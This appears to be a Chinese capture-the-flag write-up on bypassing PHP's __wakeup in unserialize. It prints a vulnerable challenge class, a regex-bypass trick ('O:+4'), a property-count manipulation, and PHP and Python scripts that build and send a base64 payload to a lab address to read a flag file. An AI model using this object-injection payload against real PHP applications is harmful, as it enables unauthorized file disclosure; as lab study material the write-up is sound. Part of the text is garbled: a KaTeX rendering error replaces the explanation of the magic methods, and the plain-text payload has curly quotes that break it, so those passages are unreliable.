php_unserialize
- 在 PHP5 < 5.6.25, PHP7 < 7.0.10 的版本存在wakeup的漏洞。当反序列化中object的个数和之前的个数不等时,wakeup就会被绕过
例题:
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file; //构造函数,对类的变量进行初始化
}
function __destruct() {
echo @highlight_file($this->file, true);
}
//魔术方法,如果有反序列化的使用,在反序列化之前会先调用这个方法
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
//正则匹配,如果在var变量中存在O/C:数字(O:数字或者C:数字这样的形式}),不区分大小写,就输出stop hacking!否则的话就进行发序列化
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
__construct(),创建时自动调用,用得到的参数覆盖KaTeX parse error: Expected group after '_' at position 6: file _̲_destruct(),销毁时…file重置成index.php
正则匹配这里匹配的是 O:4,我们用 O:+4 即可绕过
$a= new Demo('fl4g.php');
$b=serialize($a);
$b=str_replace('O:4','O:+4',$b);
$b=str_replace('1:{','2:{',$b);
echo base64_encode($b);
或是:
import base64
import requests
s = base64.b64encode(b'O:+4:"Demo":2:{s:10:"\0Demo\0file";s:8:"fl4g.php";}')
url = 'http://111.198.29.45:43225/'
params = {'var':s}
r = requests.get(url,params=params)
print(r.text)
构造语句:
O:+4:“Demo”:2:{s:10:"\0Demo\0file";s:8:“fl4g.php”;}
进行base64编码:
TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==